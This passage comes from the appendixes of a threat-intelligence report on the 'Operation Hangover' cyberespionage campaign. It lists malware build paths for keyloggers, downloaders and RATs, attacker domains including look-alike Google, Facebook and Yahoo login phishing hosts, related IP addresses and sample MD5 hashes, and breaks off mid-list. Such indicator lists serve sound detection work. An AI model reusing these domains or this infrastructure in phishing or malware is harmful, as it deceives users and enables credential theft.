taskof ad downloader  usb grabberuploader\New folder\with icon shortcut link\HangOver 1.5.3 (Startup)\Release\Http_t.pdb T:\final project backup\uploader version backup\fud all av hangover1.5.4\with icon shortcut link\HangOver 1.5.3 (Startup)\Release\Http_t.pdb T:\final project backup\uploader version backup\HangOver 1.5.3 (Startup)\Release\Http_t.pdb T:\New folder\with icon shortcut link\HangOver 1.5.3 (Startup)\Release\Http_t.pdb V:\New folder\with icon shortcut link\HangOver 1.5.3 (Startup)\Release\Http_t.pdb Y:\final project backup\UPLODER FTP BASED\New folder\Tron 1.2.1(Ftp n Startup)\Release\Http_t.pdb Y:\Http uploader limited account\Http uploader limited account\RON 2.0.0\Release\Ron.pdb Y:\Uploader\HTTP\HTTP Babylon 5.1.1\HTTP Babylon 5.1.1\Httpbackup\Release\HttpUploader.pdb Y:\Uploader\HTTP\Tourist uplo\Tourist Uplo 2.3.1\Release\Ron.pdb Z:\Uploader\HTTP\ron uplo\RON 2.0.0\Release\Ron.pdb C:\Documents and Settings\Administrator\Desktop\Main Uploader\ServiceSample.vbp C:\Documentation\samples\ServiceSample.vbp D:\PROJECT\samples\ServiceSample.vbp D:\PROJECT\CMU\ServiceSample.vbp C:\Users\HOME\Desktop\Main Uploader\ServiceSample.vbp D:\applications\Http downloader(fud)\Project1.vbp C:\Documents and Settings\Application\Desktop\smtp\new appin\Project1.vbp C:\Users\PC\Desktop\Troj Creators\Common Main Uploader\ServiceSample.vbp C:\Users\PC\Desktop\Common Main Uploader\ServiceSample.vbp C:\Users\Yash\Desktop\PAYL\advd\projSmkdWn.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\SmkDwnNew(dual)\projSmkdWn.vbp C:\Users\Yash\Desktop\SmkDwnNew\projSmkdWn.vbp C:\PAYL\PAYL\advd\projSmkdWn.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\Smack6\90\92\AngelPro.vbp D:\YASH\PRO\MY\DELIVERED\2012\DEMC\Without_ocx_class\NewCardGameBased\Project1.vbp D:\YASH\SOFTs\PRO\MY\DELIVERED\Downloader\tempdwn\Cryp of tempdwn\Project1.vbp C:\Documents and Settings\Administrator\Desktop\WORKSTATION\Cryp of tempdwn\Project1.vbp C:\Documents and Settings\Administrator\Desktop\Downloader\tempdwn\Cryp of tempdwn\Project1.vbp D:\YASH\PRO\MY\DELIVERED\Downloader\tempdwn\Cryp of tempdwn\Project1.vbp D:\YASH\PRO\MY\DELIVERED\RAT\Dragon-Eye\De-Mini\New_server\modify\New_LNK\Another_FUD\MCircles.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\12kib\Project1.vbp C:\Http downloader(fud)\Project1.vbp C:\miNaPro.vbp Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 54 Appendixes C:\C\miNaPro.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\NewSmack(sep2012)\miNaPro.vbp C:\A\miNaPro.vbp C:\ProjNaramGaram.
Vbp D:\YASH\PRO\MY\DELIVERED\Downloader\tempdwn\tempdwn_hardcoaded(Good)\smackdown4\smack4.2\ProjNaramGaram.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\Smack6\70\ProjNaramGaram.vbp C:\Documents and Settings\Administrator\Desktop\NewDw\Soundsman.vbp D:\YASH\PRO\MY\DELIVERED\2012\KEYLOGGERS\English Only\new\without_Logfile\ProLocalKilr.vbp C:\XXX\loclKeylr\ProLocalKilr.vbp C:\proTymTin.vbp C:\Documents and Settings\Micro-soft\Desktop\Keylogger Mozartin\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Administrator\Desktop\Kylo\Keylogger Mozartin\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Admin\Desktop\Keylogger Code\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Admin\Desktop\UpdateEx\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Micro-soft\My Documents\BackUp\Keylogger Mozartin\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Admin\Desktop\Trojan Code\ServiceSample.vbp x.vbp C:\Documents and Settings\Administrator\Desktop\Keylogger Mozartin\UpdateEx\UpdateEx.vbp D:\Work\UpdateEx\UpdateEx\UpdateEx.vbp C:\Documents and Settings\Admin\Desktop\Keylogger UpdateEx\UpdateEx\UpdateEx.vbp C:\pranVacrhanpr.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\Smack6\70\81\pranVacrhanpr.vbp C:\new_smackdown8\pranVacrhanpr.vbp D:\YASH\PRO\MY\DELIVERED\2012\DOWNLOADERS\compiled\SmkDwnNew(dual)\14-8\vampro.vbp C:\GroundPlayer.vbp D:\YASH\PRO\MY\DELIVERED\2012\DEMC\GroundPlayer.vbp D:\YASH\SOFTs\PRO\MY\DELIVERED\UPLOADERS\New_upl\bkup_nonObfus\plain\Project1.vbp C:\Documents and Settings\Administrator\Desktop\New_server\modify\Calculator.vbp C:\Users\Yash\Desktop\WinSockAPI_Fud1\WinSockAPI_Fud\Project1.vbp C:\wylgoh\gmbor.vbp r.vbp C:\Documents and Settings\Administrator\Desktop\SlayerUD\New_server\Project1.vbp s..........................................................vbp C:\H\Horiginal\Project1.vbp C:\cameraman.vbp C:\SimpleTCPChat.vbp D:\YASH\PRO\MY\DELIVERED\2012\UPLOADER\BOTH\Project1.vbp C:\Documents and Settings\Administrator\Desktop\HOG_ver3\Client\BkUPs\withoutArrayBkup\withoutArrayBkup(with WMI)\ServerZ\Server.vbp D:\YASH\PRO\MY\DELIVERED\2012\sdsdasdwasdasdasdasdasd\RAT_pramala\Project1.vbp E:\MY\DELIVERED\2012\DOWNLOADERS\compiled\snaperCompressVb\bkups\ServerItan\Project1.vbp C:\Documents and Settings\Administrator\Desktop\WORKSTATION\tempdwn_hardcoaded(Good)\wit_LNK_without_office\PaintBrush.vbp Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 55 Appendixes Appendix E: Domain names connected to case acc0unts.g00gle.c0m.srccail.com account.istpumpenunddosiertechnik.de.continuelogs.info accounts.facbook.com.continuelogs.info accounts.yandex.ru.continuelogs.info accounts.ymail.com.mailcache.info accounts.you-tube.com.analogwiz.org accounts.yutube.com.continuelogs.info activetalk.org add-on-update.com addon-updates.com addoup.com adminassistance.net advnotifier.com alr3ady.net alreadytrue.com amaxgrp.net analogwiz.org analysishunter.org anoniemvolmacht.com appinsecurity.com applehostpoint.info approvalclub.org appworldblackberry.info armordesigns.com.webmail-login.php.web-mail-services.info autowid.com autowidge.org avandtotalsecurity.com avatarfanclub.com bbc-news.com.influxlog.org bbupdate.net bikefanclub.info bkltmc.com blogpublication.org bluebird-restaurant.co.uk.infocardiology.biz bluecreams.com bmcmail.org brandsons.net braninfall.net buildyourinfo.org c0mpany4u.net cabcardinc.net cablecomsolutions.net callersview.org calling4you.com callvoipnow.com casinoaffiliatepartners.net cellgame.org centstat.org cheetah4u.net chiccounty.net chkpoint.info chroniclesupport.net clamerword.net clienttreasury.net cloudone-opsource.com cmegroups.net cmxgrp.net cobrapub.com codetesters.org com-mailservice.com competitveedge.org config-login.com connectopen.info continuelogs.info coolhostingwebspace.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 56 Appendixes cpbatch.org cppblog.net cr3ator01.net crestboard.org crowcatcher.net crvhostia.net cryptoanalysis.net crystalrepo.org csfserver.com cupzon.org currentnewsstore.com customerpbr.com deltaairlines.com.config.services.data.sesion.24s.digitalapp.org.evitalcare.org deltadegger.net denismoble.info devilreturns.com devinmartin.net dexlab.info digitalapp.org digitooldeals.net divinepower.info doc.gmail.com-callgate-6.65.2.0-rms-6.65.2.0- attachment.view.folderid.2messageid.ndi3n6rrgwnuefhoqwxgxdxmampattachmentid.20121206125116.5755maild0aa.evitalcare.org docsforum.info dosendit.com downdossiersup.net downfilesup.com downtimesupport.com easternsoft.org easyhost-ing.com easyslidesharing.net educatediary.org elementspro.org endemol.com.mailcache.info enetebookstore.com enlighten-energy.org esnucleus.org espressoday.org evitalcare.org evolvingdesk.org extrememachine.org ezservicecenter.org ezxen.org ezyvalue.net f00dlover.info facebook.comaccountsserviceloginservicemail2.serviceaccountloginservicemail.info fapize.com fasttrackagent.net fb-time.net file-easy.net filesassociate.net filesconnect.info filesforum.net fileshreader.net filetrusty.net fiservtech.org fistoffury.net fitnessapproval.org follow-ship.com fonografia.pl footwallfanclub.com forest-fire.net foxypredators.com frameworkup.org ftp.alr3ady.net ftp.braninfall.net ftp.currentnewsstore.com ftp.devilreturns.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 57 Appendixes ftp.forest-fire.net ftp.global-internet.info ftp.kungfu-panda.info ftp.matrixfanclub.net ftp.net4speed.net ftp.nvidiaupdate.net ftp.r3gistration.net ftp.s3rv1c3s.net fuzzyfile.net gadgetscorner.org gamezoneall.com gauzpie.com geonet.org.sockzon.org get.adobe.flash.softmini.net global-blog.net global-internet.info gnuvisor.com go-jobs.net google.accountservice.adminassistance.net google.com.accountsserviceloginservice.info google.com.accountsserviceloginservicemaileng.serviceaccountloginservicemail.info google.com.acount.database.updates.services.web-mail-services.info google.comaccountsserviceloginservicemailen.serviceaccountloginservicemail.info groupskm.info gxongame.info h3helnsupp0ort.com hangoutgroups.net hangoutshop.net hangovergroup.com.coolservice.continuelogs.info hardwaregeeks.eu heavenaffiliates.info help-e.net herbco.document.digitalapp.org heritage-society.com hifisure.org hintover.com hostmypc.net host-stuff.net hotbookspot.info hotupdates.com.sockzon.org hycoxcable.com hycoxweb.org i-dim.net idsconline.net imagebar.org influxlog.org infocardiology.biz inforguide.org infoteller.org infraswap.org innovatorspool.org internet-security-suite-review.toptenreviews.com.avandtotalsecurity.com internet-security-suite-review.toptenreviews.com.infocardiology.biz islamic-teacher.org itechtoys.org jasminjorden.com jerrycoper.org joyfulhalloween.com joymailserver.org keepawayfromfire.com khalistancalling.com knight-quest.com kungfu-panda.info kyzosune.net l0gin.faceb0ok.com.srccail.com l0gin.y0utube.acc0unts.srccail.com l0gin.yaho0.c0m.srccail.com leicesterhigh.eu Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 58 Appendixes lifelogs.org linked-in.c0m.srcm-ail.info.srccail.com linkedin.com-callgate-6.65.2.0-rms-6.65.2.0- attachment.view.folderid.2messageid.ndi3n6rrgwnuefhoqwxgxdxmampattachmentid.20121206125116.5755maild0aa.evitalcare.org linkedin.com-uas.login-submit.account.session-full.login-3a5077708027557787984-csrftoken.buildyourinfo.org linkspectra.com linxauth.org livesunshine.info liveupdatesonline.net login.facebook.com-confg.verify.login.src-ym.mailcache.info login.live.com.continuelogs.info login.live.com.mailcache.info login.oriontelekom.rs.accountsserviceloginservice.info login.yahoo.com-config-verify2.woline.info logstat.info lynberrg.com m.ymail.com.continuelogs.info m.ymail.com.mailcache.info macsol.org mail.carmel.us.exchweb.bin.auth.owalogon.asp.serviceaccountloginservicemail.info mail.download.influxlog.org mail.enrc.com-attachment.download.infocardiology.biz mail.google.com-attachments.mail.u-01.infocardiology.biz mail.joymailserver.org mail.myorderbox.org mail.telenor.no-cookieauth.dll-getlogon-reason-0.f ormdir-1-curl-z2fowaz2f.infocardiology.biz mail.wildenstein.com.accountsserviceloginservice.info mail-attachment.usercontent.evitalcare.org mailcache.info mailexservices.com mailoff.org mailservicesupport.org mailssh.info mailtechsolutions.org makecmag.info martcas.org matewiz.org matrixfanclub.net maxtourguide.info mcosine.org megafairclub.org megamediafile.com mexchange.info mgclog.com mildstone.net mjtag.org mktserv.info mobiappword.com mobileappsupport.com mobileappworld.info mobilemyown.info mobilesoftwaremanagement.info mobilessoft.net mobiletechspa.org mobiltechsoft.org mobnetserver.com momate.net mosglobe.org motsoul.org mozarting.com mozilaupdate.com mpale.org msfileshare.net msoftweb.com mujahidtarana.com my.screename.aol.com.mjtag.org my.screenname.aol.com.accountsserviceloginservice.info myscreenname.aol.com.srccail.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 59 Appendixes myfilestuff.net mymail.bezeqint.co.il.accountsserviceloginservice.info mymyntra.net mysharpens.com myvoipp0wer.com n00b4u.com naclpro.org net4speed.net netmosol.info neverforget1984.org new-agency.us newamazingfacts.com newsgroupupdate.com news-report.sockzon.org nexterchk.net nitr0rac3.com nlsec.org novelseller.org ns1.activetalk.org ns1.adobesoftwareupdates.com ns1.alreadytrue.com ns1.authserv.org ns1.brandsons.net ns1.braninfall.net ns1.chronicleserv.org ns1.competitveedge.org ns1.continuelogs.info ns1.ctswebup.info ns1.dataconnects.net ns1.directionmico.org ns1.dmzone.info ns1.doc-files.info ns1.enetebookstore.com ns1.esbasis.info ns1.evitalcare.org ns1.ezservicecenter.org ns1.ezyvalue.net ns1.f00dlover.info ns1.forest-fire.net ns1.foxypredators.com ns1.go-jobs.net ns1.gxongame.info ns1.hackerscouncil.com ns1.host-stuff.net ns1.hotbookspot.info ns1.infocardiology.biz ns1.justdialforu.com ns1.kjmailserv.org ns1.knowledgepower.info ns1.kungfu-panda.info ns1.line-web.net ns1.link-live.net ns1.logserv.org ns1.matrixfanclub.net ns1.matrixtriology.com ns1.maxtourguide.info ns1.mjtag.org ns1.naclpro.org ns1.newamazingfacts.com ns1.oscarneves.org ns1.osonline.info ns1.ozoneparty.info ns1.pajerolive.com ns1.parrotcatcher.com ns1.pickmail.org ns1.programmersheavengroup.com ns1.racrage.info ns1.s0pp0rtdesk.com Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 60 Appendixes ns1.secuina.net ns1.securedocx.info ns1.sendsh33p.com ns1.servwh.org ns1.shopertock.net ns1.sockzon.org ns1.solraise.info ns1.speedaccelator.com ns1.sportswomen.biz ns1.srccail.com ns1.stretcherservices.net ns1.supersolus.org ns1.thedailynewsheadline.com ns1.wearwellgarments.eu ns1.woline.info ns1.wvsolution.org ns1.xmailserv.org ns1.zerodayexploits.org ns1.zonalship.org ns1.zoninfo.org ns2.activetalk.org ns2.alreadytrue.com ns2.brandsons.net ns2.braninfall.net ns2.chronicleserv.org ns2.competitveedge.org ns2.continuelogs.info ns2.enetebookstore.com ns2.esbasis.info ns2.evitalcare.org ns2.ezservicecenter.org ns2.ezyvalue.net ns2.f00dlover.info ns2.forest-fire.net ns2.foxypredators.com ns2.go-jobs.net ns2.gxongame.info ns2.hackerscouncil.com ns2.host-stuff.net ns2.hotbookspot.info ns2.infocardiology.biz ns2.knowledgepower.info ns2.kungfu-panda.info ns2.matrixfanclub.net ns2.maxtourguide.info ns2.mjtag.org ns2.naclpro.org ns2.newamazingfacts.com ns2.pajerolive.com ns2.parrotcatcher.com ns2.programmersheavengroup.com ns2.s0pp0rtdesk.com ns2.sendsh33p.com ns2.serialxbox.org ns2.shopertock.net ns2.sockzon.org ns2.speedaccelator.com ns2.sportswomen.biz ns2.srccail.com ns2.stretcherservices.net ns2.supersolus.org ns2.thedailynewsheadline.com ns2.vlogserv.org ns2.wearwellgarments.eu ns2.woline.info ns2.zerodayexploits.org ns2.zonrow.org nvidiaupdate.net Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 61 Appendixes oliveglobals.com omg-pics.net onestop-shops.com onlinestoreapp.net onlinewebmail.net opendocs.info opendocxsupport.net openhostingtalk.com opensourceforum.eu opnsrc.net osservices.info outgateway.com ozonerim.net packetwarden.net pajerolive.com parrotcatcher.com periodtable.eu pfv6jyg1rdo9ptku.mxsvr.net pharmamkting.eu picasa-album.com picasa-album.net pics-bucket.net piegauz.net pizzapalace.org plus.go0gle.com.servicel0gin.gxongame.info primaaltus.org privatemoneyblog.org programmersheavengroup.com r3gistration.net rackitupstorenew.net racmania.net random123.site11.com re-buke.com redgolfclub.info reliable-global.net researcherzone.net researchhunter.org researchwork.org rghsv.com.accountsserviceloginservice.info rigidphotography.com ritownship.net ritualpoint.org rockingdevil.net s0pp0rtdesk.com s3rv1c3s.net saboresnativos.net scrm-ail.info searchports.info secuina.net secure.metacafe.com-account-login-token.accountsservicelogin.info secure-copy.com securedmx.net secureplanning.net secure-s.com secure-solution.net securingyourself.net sendsh33p.com server003.com server006.com server721-hans.de-nservers.de.continuelogs.info serverrr.com servetools.org serviaccive.com serviceaccountloginservicemail.info serviceagent.us service-secure.net servicesonlinesupportinfo.com servorder.org Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 62 Appendixes sh3llypunk.com share-home.net shoperstock.com shopertock.net shopie.net shopingcard.net shopingcenter.net shopping-hub12.com shoppingspawn.com shreadersupport.net signaturedz.com skylarzone.org slamburger.net smackdownfanclub.eu smclog.org smurfprotection.org sochglobal.net sockzon.org softmini.net softservices.org softwaresupdates.info sonificaton.com sped0m00d.com speedaccelator.com spidercom.info spiritlog.org sports-interaction.net sportswomen.biz spstack.org srccail.com starcrunch.org starmobnetservice.net starshome.comeze.com starsoel.org store-fb.net stretcherservices.net supersolus.org supertechnoclub.com supportanswer.net support-tech.info synergyrealsolutions.net systemcrack.com systemupd.com systoolsonline.org taraanasongs.com test.enciris.eu testerspoint.info thedailynewsheadline.com tmkstore.org tollmart.org torqspot.org tourtime.org tow3r.info tradeobjective.net traderspace.org trend-mico.net trustworthyinfo.com tulip.net.inforguide.org undertaker.no-ip.org unisafeservice.org vall3y.com viewerstalk.org viragenonline.com visordan.org vkspoke.org vkverbal.org voip-e.net vstrend.org Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 63 Appendixes wagonact.org wakeupindian.net wearwellgarments.eu webjavaupdate.com webmail.juno.com.accountsserviceloginservice.info webmail.stevens.edu.authenticateservicemail.accountsservicelogin.info webmailaccountservicemail.info web-mail-services.info webmicrosoftupdate.net wedzon.org we-tour.net whostmrage.org wizcheck.org wizsplit.org wolfensteinx.net woline.info wondersofworld.eu workinglab.org worksmartplay.com workspacecz.net worldcitycenter.net worldread.net16.net worldtourismnews.info wreckmove.org www.alintiqad-newsonline.blogspot.com.continuelogs.info www.analysishunter.org www.cytanet.com.accountsserviceloginservice.info www.ebox.co.il.accountsserviceloginservice.info www.email.t-online.de.accountsserviceloginservice.info www.espressoday.org www.facebook.com-l0giin.php.mstl0giintocpassiive-trrue.contiinue-2fsiignin3factiion.handle.siignin3dtrrue26featture3dprromo.siignin26nl- en.us-idtmpl.sso.supersolus.org www.facebook.com-l0gin.php.mstl0giintocpassiive-trrue.contiinue-2fsiignin3factiion.handle.siignin3dtrrue26featture3dprromo.siignin26nl- en.us-idtmpl.sso.chronicleserv.org www.fonografia.pl www.foxypredators.com www.go0gle.com-serviicelogiin.autthserv.gxongame.info www.google.com.accountsserviceloginservice.info www.insing.com.accountsserviceloginservice.info www.login.comcast.net.accountsserviceloginservice.info www.login.oriontelekom.rs.accountsserviceloginservice.info www.login.yahoo.com.accountsserviceloginservice.info www.m.youtube.com.accountsserviceloginservice.info www.mail.houseofjoyltd.com.accountsserviceloginservice.info www.mail.luckltd.com.accountsserviceloginservice.info www.mail.rediff.com.accountsserviceloginservice.info www.mexchange.info www.microsoft.com.chiccounty.net www.mlogin.ymail.com.continuelogs.info www.mobilesoftwaremanagement.info www.my.screenname.aol.com.accountsserviceloginservice.info www.mymail.bezeqint.co.il.accountsserviceloginservice.info www.produkte.web.de.accountsserviceloginservice.info www.secure.metacafe.com-account-login-token.accountsservicelogin.info www.server721.han.de.nsserver.de.continuelogs.info www.shoperstock.com xylotech.org ymadmin.net you-post.net youtube.com.accountsserviceloginservicemail.serviceaccountloginservicemail.info youtube.comaccountsserviceloginservicemail2.serviceaccountloginservicemail.info zendossier.org zerodayexploits.org zeusagency.net zolipas.info zonalon.org zonalsky.org Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 64 Appendixes Appendix F: IP addresses connected to case These are some IP addresses that have at some point been related to the HangOver attack infrastructure.
Note that IP addresses are non-static, and many of these may now be in use by legitimate users.
109.203.110.103 109.235.49.147 109.235.49.148 109.235.49.157 109.235.49.158 109.235.49.188 109.235.49.193 109.235.49.235 109.235.49.236 109.235.49.43 109.235.50.191 109.235.50.215 109.235.50.233 109.235.50.246 109.235.51.100 109.235.51.153 109.235.51.254 109.235.51.50 109.235.51.51 141.101.239.128 141.8.224.25 141.8.225.7 151.237.188.167 173.199.145.140 173.224.215.230 173.233.80.145 173.233.80.146 173.233.80.147 173.233.80.152 173.233.85.134 173.236.117.205 173.236.24.250 173.236.24.251 173.236.24.252 173.236.24.254 173.236.68.99 174.120.28.61 176.31.4.128 176.31.4.129 176.31.4.130 176.31.53.165 176.31.53.166 176.31.53.167 176.31.65.124 176.31.65.125 176.31.65.126 176.31.65.127 176.31.79.48 176.31.79.49 176.31.79.50 176.31.79.51 176.31.79.56 176.61.140.119 178.32.75.192 178.32.75.193 178.32.75.194 178.32.75.195 178.32.75.196 178.32.75.197 178.32.75.198 178.33.131.34 178.33.154.49 178.33.154.51 178.33.154.52 178.33.154.53 178.33.154.54 178.33.187.74 178.33.187.75 178.33.187.76 178.33.187.77 178.33.187.78 178.33.210.30 178.33.214.194 184.107.159.18 184.154.217.250 184.154.254.51 184.154.254.54 184.22.69.109 184.82.180.105 188.165.148.68 188.165.148.70 188.240.47.145 188.240.47.220 188.241.113.27 188.241.114.160 188.241.115.127 188.241.117.163 188.95.48.99 192.210.203.181 199.119.203.102 199.119.203.103 199.119.203.85 199.119.203.86 199.204.248.107 199.71.212.164 199.71.212.183 209.85.51.152 213.5.65.20 213.5.65.223 213.5.65.24 213.5.65.31 213.5.71.20 213.5.71.24 213.5.71.26 213.5.71.27 213.5.71.28 213.5.71.31 216.188.26.235 216.24.202.100 216.24.204.243 216.24.204.245 31.170.161.136 31.170.161.56 31.170.162.23 31.214.169.86 31.214.169.87 31.3.154.110 31.3.154.111 31.3.154.113 31.3.154.114 31.3.154.115 31.3.154.116 31.3.154.117 31.3.155.106 37.221.166.15 37.221.166.36 37.221.166.42 37.221.166.47 37.221.166.48 37.221.166.49 37.221.166.53 37.221.166.55 37.221.166.58 37.221.166.61 37.221.166.7 37.221.166.8 37.221.166.9 37.46.127.75 37.46.127.76 37.46.127.77 37.46.127.78 37.46.127.79 37.46.127.81 37.59.175.130 37.59.208.94 37.59.231.161 46.182.104.70 46.182.104.72 46.182.104.83 46.182.104.85 46.182.105.40 46.182.105.41 46.182.105.43 46.182.105.60 46.4.187.60 46.4.215.38 5.34.242.129 5.39.11.72 5.39.36.56 5.39.36.57 5.39.36.58 5.39.36.59 5.39.36.60 5.39.36.61 5.39.97.57 5.39.97.58 64.120.135.137 65.75.243.251 66.148.67.20 69.43.161.179 69.43.161.180 72.44.81.88 74.117.62.170 74.117.62.181 75.127.111.100 75.127.111.143 75.127.91.118 75.127.91.16 78.46.129.193 78.46.129.194 78.46.169.168 79.142.64.177 79.142.64.178 79.142.64.181 79.142.64.183 79.142.64.32 79.142.64.34 79.142.64.36 79.142.64.37 79.142.64.39 79.142.64.47 79.142.64.49 79.142.64.97 79.142.64.98 79.142.64.99 79.142.78.101 79.142.78.102 79.142.78.107 79.142.78.109 79.142.78.110 79.142.78.111 79.142.78.112 79.142.78.120 79.142.78.76 79.142.78.79 79.142.78.80 79.142.78.83 8.22.200.44 8.23.224.90 88.198.86.168 88.198.86.172 89.207.135.120 89.207.135.239 89.207.135.242 89.207.135.61 89.45.249.129 89.45.249.136 89.45.249.139 89.45.249.208 89.45.249.41 91.214.45.187 94.102.49.199 94.102.49.201 94.102.49.202 94.102.49.203 94.102.49.204 94.102.49.55 94.102.49.56 94.102.55.80 94.185.81.151 94.185.81.152 94.185.81.153 95.143.42.195 95.143.42.217 95.143.42.218 95.154.237.11 95.211.131.144 96.30.46.216 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 65 Appendixes Appendix G: Sample MD5s 003ab666a73721404c8dae4613aec613 007d63bf9eb50c6e55125c00d32abdb6 00978e4b81ac577f328d6add75d0890e 00a0a6071c335f78c161cb4a3dcdc435 00bd9447c13afbbb7140bef94e24b535 0128f683e508c807ec76d5092eaaf22c 01774e34e8a444685b1499eef3406cd0 01a7af987d7b2f6f355e37c8580cb45a 01adea2d3707a343f5a6d149565c7ec5 01cda08113796a78702843a414f477c4 01cef8eeecbd5f9a4240d3e42c67c3c1 022894817bc575b94e1919eb1890f873 023d82950ebec016cd4016d7a11be58d 02ae85cb3677af2e5fc256e3bf7c9408 02d6519b0330a34b72290845e7ed16ab 02f3a2752b9a79ffccd99a1da8fb875c 032c4698839a52711cb18d6bc712d5b2 03f265a4e2e9a728749a6ef4e91e72b3 04293cc69b048fe1326560a457539b0c 047a1bb36e1de5f57e4a6f4d43ebf72b 04c2068c132f2c4af31f905f220503d6 0538fce0581b9233d34c6ad61a8f8139 05c983831cad96da01a8a78882959d3e 0680b9e247b2779799d4b32582f566c8 06b399d8bb5c5aeb4a04eda934ee819f 06ba10a49c8cea32a51f0bbe8f5073f1 06cbbff745c60c46e0996928c00ef28f 06e80767048f3edefc2dea301924346c 078d12eb9fc2b1665c0cc3001448b69b 0796ff1096f7456ef37d81a5b846b61b 07defd4bda646b1fb058c3abd2e1128e 0837671230288d68b99866197d79646b 08a3776a2c40e569f645a62fdd2fcac3 08f7ead1513bb921c9cdee334a370866 09947ba52932d10d3c859511a6d31e8f 09cdbd5273640ab23112b719c65e4902 0a0bcd8beb77e67a28a325d8d2a00254 0acdfd9ef4ed3e3f3d9d011aa5e7cd03 0ad9583aefede1f355759e0b674930cb 0b29cd6fc38c0459507e670e9c4547e0 0b38f87841ed347cc2a5ffa510a1c8f6 0b88f197b4266e6b78ea0dcb9b3496e9 0ba19063dea4ccae0afcd4208781f16b 0bbe6cab66d76bab4b44874dc3995d8f 0c0eb91f318da38e6684bd5250f68378 0c2cbfbe3c93b3502f9a60f5fa1188ad 0cace87b377a00df82839c659fc3adea 0d466e84b10d61031a62affcfff6e31a 0d5956dac2ac56f292ee8fa121450973 0e11b640253554595acdb7bfbf786b31 0e3282467dd99f3ceeb911cb1e8aaf5f 0e9e46d068fea834e12b2226cc8969fd 0f0e3dc18b12c7f8b1b03c73c842212c 0f47459581f6cd0e1766f1f436922ea5 0f65c1202881f5c0e3d512aa64162716 0f91c1d4ef8b239bb9a94d5546f071dd 0f98b7d1e113e5194d62bc8f20720a6b 0fbc01c38608d1b5849bf47492148588 109caa4b475927ddcc36278a32d013f2 10c0b0f7efbfc92dd13fdd0fd35ca260 10d8d691ec5c75be5dbab876d39501f1 111c0d178b3aea6c5aa7217feb0a44a3 1156011bcb049df9fbd0e6bbd7a108aa 118716061197ebcdae25d330aef97267 118ed6f8aa3f01428a95ae7ba8ef195c 11b70f93758ea494494855036818bbe3 11faa5da47a1f27de963e72631aaddd2 11fd24098d64632875d49160dc36bc6b 12874bf21a56709451f2df221c073f03 12eec20e7f672370269a9ec53cd744fb 13107b9455561e680fe8c3b9b1e8bc37 13197097b07e86516fa018a04aace83c 135a18c858bfdc5fc660f15d6e1fb147 13619025a126c56c3097d533414f2230 1370e187a12403ebf40d43285a23fed8 13fa45919341257b226f66e08da81cb4 1465248b7e2d512e426d8c72b42af47b 1487d1dc13314bf0431792b37ec67e2d 1489d2adf0328b6d7b42170095f966c9 153ac7591b9326ee63cd36180d39665e 15552ebdc4ebe5b4d2f71ab2d2e574cb 1579467859b48085bdf99b0a1a8c1f86 158ff697f8e609316e2a9fbe8111e12a 15e45c24dbe6034024fcffe4c358556b 166044bf473fc262ed97283c6e157eb5 1676ded041404671bfb1fcfe9db34dcf 168f2c46e15c9ce0ba6e698a34a6769e 16c11b381cff35283b879ec1a84f72e4 16c140fb61b6d22e02aa2b04748b5a34 16ff5f646196cf29792f5b159d1288b8 176e2277be875e55ad7211ff5e8df7a5 1785f20ad4883fee549f0aec5d20aaca 17a31d1075ebce41ba48a9efacb79d28 187dc6afa65cbdd8ee87a58271b56864 18b9e5fad0f015a0cf792818e9e0591c 18bc477fa12048fab8ec93d5ff942cf5 1972ae990751fa1b1532aa792bd5c160 1981cc08cdadc971e28768dc04d98637 Operation Hangover: Unveiling an Indian Cyberattack Infrastructure 66 Appendixes 199a180d3b5ef78a5fb79b0613be8dce 1a0268890c44ba8afe6ba7542c314ff4 1a1bc6e47d9dcbf6e3e7ce22d18b3628 1b1ab4e0ddfdb9e97609e78ab26e53f6 1b5d36f0d2da1fde3eb2b5fcbdc24948 1b7cbcc59199c595e495916698a2e82d 1be309eb99298c128b97649dcc7c9ad6 1c0e707cec96ac90969a5f16d66d1c6f 1c528591d28efbd485927a053bc86463 1ce331f0d11dc20a776759a60fb5b3f5 1e7b6424fb1a949c39653e00550eb8bb 1e9e8e724c000c9b9b6677a4d407538c 1eb7e455580a0e0d6296a00e81e31818 1ee41accf9a88121dac4a291252b8c49 1ee4bd29caf6aed2f3c7e263fa025468 1ff0cfaa775576322727b4edf636447e 2048a4ca1b1bbb13267643a6005cf92b 209692f3cd81ec0cd0dc4fa6b5be0f6b 2102a18dc20dc6654c03e0e74f36033f 2180573e7b41f82366a7637f60963b3b 21a52fedba7d5f4080a8070236f24a81 21aef1e6f22205edf261a08932728ab0 21e85f86403a89adb4a255d7017e06d2 21eb73d0e52ff4175d3dc5e58dcf7cc1 22588c6920f80398ae54e499b657f02d 227116763d49fae9277bc0d6bf40735b 22a3a1d5a89866a81152cd2fc98cd6e2 232f616ad81f4411dd1806ee3b8e7553 239bc16abb4aecbf6a1c1dac9a3f81e6 23a67d6bf0b727016a071817e99f0305 2409cf22defe0d8104d41a0e23d4a747 2479724f3d62c71fe64a1d2b3535d661 24874938f44d34af71c91c011a5ebc45 24f22d1391377249f21bfec81c3ea031 25472d552f3439d610a0ea0feea59b18 255057ba7f3bb62abd5963e42e5fd897 25536cdacdcc7867d4feb1fbf7e5e172 26fe2770b4f0892e0a24d4dddbbfe907 2729de09c88071bb71b55be98801e2c0 282ef2ba0cc14bb94f363374537d0eaf 